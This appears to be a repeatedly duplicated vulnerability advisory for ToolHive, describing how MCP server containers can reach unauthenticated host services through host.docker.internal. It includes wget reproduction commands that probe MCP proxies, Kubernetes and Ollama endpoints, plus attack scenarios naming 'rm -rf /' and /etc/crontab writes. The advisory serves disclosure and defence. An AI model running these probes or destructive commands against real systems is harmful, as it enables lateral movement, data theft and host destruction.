CVE-2026-58197

ToolHive is a utility designed to simplify the deployment and management of Model Context Protocol servers. Prior to ToolHive CLI 0.30.1 and ToolHive Studio 0.38.0, locally run MCP server containers use the default network permission profile without network isolation, permitting access to host.docker.internal while ToolHive API and MCP proxy endpoints are reachable without authentication. A malicious or compromised MCP server can use the Docker gateway to contact host-local services, other ToolHive-managed MCP proxies, or the ToolHive control plane without escaping the container. This access can expose data and logs, invoke sibling MCP tools, alter process or workload state, and disrupt services. ToolHive Studio additionally sends network_isolation as false and overrides the backend's secure isolation default. This issue is fixed in ToolHive CLI 0.30.1 and ToolHive Studio 0.38.0.

ToolHive is a utility designed to simplify the deployment and management of Model Context Protocol servers. Prior to ToolHive CLI 0.30.1 and ToolHive Studio 0.38.0, locally run MCP server containers use the default network permission profile without network isolation, permitting access to host.docker.internal while ToolHive API and MCP proxy endpoints are reachable without authentication. A malicious or compromised MCP server can use the Docker gateway to contact host-local services, other ToolHive-managed MCP proxies, or the ToolHive control plane without escaping the container. This access can expose data and logs, invoke sibling MCP tools, alter process or workload state, and disrupt services. ToolHive Studio additionally sends network_isolation as false and overrides the backend's secure isolation default. This issue is fixed in ToolHive CLI 0.30.1 and ToolHive Studio 0.38.0.

Summary

A containerized MCP server running with the default network permission profile (insecure_allow_all: true) can reach host-local services via host.docker.internal. This includes the ToolHive API itself, other ToolHive-managed MCP server proxies, and any other service listening on the host's localhost. Combined with the unauthenticated ToolHive API and MCP proxy endpoints, this enables a compromised or malicious MCP server to perform lateral movement without any container escape.

Severity

High — This bypasses the container isolation model that is ToolHive's core security value proposition.

Reproduction

All tests performed from inside the filesystem MCP container (docker.io/mcp/filesystem:latest), started with default settings via thv run filesystem -- /tmp.

1. Container can reach the ToolHive control plane MCP endpoint

$ docker exec <container_id> wget -qO- \
  --header="Content-Type: application/json" \
  --header="Accept: application/json" \
  --post-data='{"jsonrpc":"2.0","method":"initialize","params":{"protocolVersion":"2025-03-26","capabilities":{},"clientInfo":{"name":"evil-mcp","version":"1.0"}},"id":1}' \
  http://host.docker.internal:50444/mcp

Result: Full MCP handshake succeeds:

{"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2025-03-26","capabilities":{"logging":{},"tools":{}},"serverInfo":{"name":"toolhive-mcp","version":"v0.9.3"}}}

2. Container can connect to another MCP server's proxy and call its tools

$ docker exec <container_id> wget -qO- \
  --header="Content-Type: application/json" \
  --header="Accept: application/json" \
  --post-data='{"jsonrpc":"2.0","method":"tools/list","params":{},"id":2}' \
  http://host.docker.internal:64965/mcp

Result: Returns the full tool list of the target MCP server (read_file, write_file, edit_file, move_file, etc.), and tools can be called:

{"jsonrpc":"2.0","id":3,"result":{"content":[{"text":"Allowed directories:\n/tmp","type":"text"}]}}

3. Container can reach other host services

# Kubernetes API
$ docker exec <container_id> wget -qO- --no-check-certificate https://host.docker.internal:6443/version
{"major":"1","minor":"34","gitVersion":"v1.34.1"...}

# Ollama LLM API
$ docker exec <container_id> wget -qO- http://host.docker.internal:11434/api/tags
{"models":[{"name":"kimi-k2:1t-cloud"...}]}

Attack Scenarios

Scenario 1: Malicious MCP server pivots to privileged native MCP tools

Many users run native (non-containerized) MCP servers like Desktop Commander, terminal servers, or custom tools that have execute_command, write_file, or shell capabilities with full host access. These typically listen on localhost ports. A malicious containerized MCP server can:

1. Port-scan host.docker.internal to discover listening services
2. Attempt MCP handshakes on discovered ports
3. Call privileged tools (e.g., execute_command("rm -rf /") or write_file("/etc/crontab", "..."))

This achieves full host compromise without any container escape vulnerability.

Scenario 2: Compromised MCP server manipulates ToolHive itself

Via the unauthenticated ToolHive MCP endpoint on port 50444, a compromised container could potentially:

• List and stop other running MCP servers (denial of service)
• Start new MCP servers with attacker-controlled images
• Modify configurations

Scenario 3: Data exfiltration via cross-MCP-server access

A low-privilege MCP server (e.g., sequentialthinking with no file mounts) could reach the filesystem server's proxy and call read_file to access files it was never authorized to see.

Scenario 4: LLM model theft / abuse

As demonstrated, the container can reach Ollama's API and could enumerate models, run inference, or exfiltrate model weights from self-hosted LLMs.

Root Causes

1. insecure_allow_all: true as default — permits outbound connections to any destination including…

ToolHive is a utility designed to simplify the deployment and management of Model Context Protocol servers. Prior to ToolHive CLI 0.30.1 and ToolHive Studio 0.38.0, locally run MCP server containers use the default network permission profile without network isolation, permitting access to host.docker.internal while ToolHive API and MCP proxy endpoints are reachable without authentication. A malicious or compromised MCP server can use the Docker gateway to contact host-local services, other ToolHive-managed MCP proxies, or the ToolHive control plane without escaping the container. This access can expose data and logs, invoke sibling MCP tools, alter process or workload state, and disrupt services. ToolHive Studio additionally sends network_isolation as false and overrides the backend's secure isolation default. This issue is fixed in ToolHive CLI 0.30.1 and ToolHive Studio 0.38.0.

ToolHive is a utility designed to simplify the deployment and management of Model Context Protocol servers. Prior to ToolHive CLI 0.30.1 and ToolHive Studio 0.38.0, locally run MCP server containers use the default network permission profile without network isolation, permitting access to host.docker.internal while ToolHive API and MCP proxy endpoints are reachable without authentication. A malicious or compromised MCP server can use the Docker gateway to contact host-local services, other ToolHive-managed MCP proxies, or the ToolHive control plane without escaping the container. This access can expose data and logs, invoke sibling MCP tools, alter process or workload state, and disrupt services. ToolHive Studio additionally sends network_isolation as false and overrides the backend's secure isolation default. This issue is fixed in ToolHive CLI 0.30.1 and ToolHive Studio 0.38.0.

Summary

A containerized MCP server running with the default network permission profile (insecure_allow_all: true) can reach host-local services via host.docker.internal. This includes the ToolHive API itself, other ToolHive-managed MCP server proxies, and any other service listening on the host's localhost. Combined with the unauthenticated ToolHive API and MCP proxy endpoints, this enables a compromised or malicious MCP server to perform lateral movement without any container escape.

Severity

High — This bypasses the container isolation model that is ToolHive's core security value proposition.

Reproduction

All tests performed from inside the filesystem MCP container (docker.io/mcp/filesystem:latest), started with default settings via thv run filesystem -- /tmp.

1. Container can reach the ToolHive control plane MCP endpoint

$ docker exec <container_id> wget -qO- \
  --header="Content-Type: application/json" \
  --header="Accept: application/json" \
  --post-data='{"jsonrpc":"2.0","method":"initialize","params":{"protocolVersion":"2025-03-26","capabilities":{},"clientInfo":{"name":"evil-mcp","version":"1.0"}},"id":1}' \
  http://host.docker.internal:50444/mcp

Result: Full MCP handshake succeeds:

{"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2025-03-26","capabilities":{"logging":{},"tools":{}},"serverInfo":{"name":"toolhive-mcp","version":"v0.9.3"}}}

2. Container can connect to another MCP server's proxy and call its tools

$ docker exec <container_id> wget -qO- \
  --header="Content-Type: application/json" \
  --header="Accept: application/json" \
  --post-data='{"jsonrpc":"2.0","method":"tools/list","params":{},"id":2}' \
  http://host.docker.internal:64965/mcp

Result: Returns the full tool list of the target MCP server (read_file, write_file, edit_file, move_file, etc.), and tools can be called:

{"jsonrpc":"2.0","id":3,"result":{"content":[{"text":"Allowed directories:\n/tmp","type":"text"}]}}

3. Container can reach other host services

# Kubernetes API
$ docker exec <container_id> wget -qO- --no-check-certificate https://host.docker.internal:6443/version
{"major":"1","minor":"34","gitVersion":"v1.34.1"...}

# Ollama LLM API
$ docker exec <container_id> wget -qO- http://host.docker.internal:11434/api/tags
{"models":[{"name":"kimi-k2:1t-cloud"...}]}

Attack Scenarios

Scenario 1: Malicious MCP server pivots to privileged native MCP tools

Many users run native (non-containerized) MCP servers like Desktop Commander, terminal servers, or custom tools that have execute_command, write_file, or shell capabilities with full host access. These typically listen on localhost ports. A malicious containerized MCP server can:

1. Port-scan host.docker.internal to discover listening services
2. Attempt MCP handshakes on discovered ports
3. Call privileged tools (e.g., execute_command("rm -rf /") or write_file("/etc/crontab", "..."))

This achieves full host compromise without any container escape vulnerability.

Scenario 2: Compromised MCP server manipulates ToolHive itself

Via the unauthenticated ToolHive MCP endpoint on port 50444, a compromised container could potentially:

• List and stop other running MCP servers (denial of service)
• Start new MCP servers with attacker-controlled images
• Modify configurations

Scenario 3: Data exfiltration via cross-MCP-server access

A low-privilege MCP server (e.g., sequentialthinking with no file mounts) could reach the filesystem server's proxy and call read_file to access files it was never authorized to see.

Scenario 4: LLM model theft / abuse

As demonstrated, the container can reach Ollama's API and could enumerate models, run inference, or exfiltrate model weights from self-hosted LLMs.

Root Causes

1. insecure_allow_all: true as default — permits outbound connections to any destination including…

ToolHive: containerized MCP servers can reach host services via host.docker.internal, enabling lateral movement in github.com/stacklok/toolhive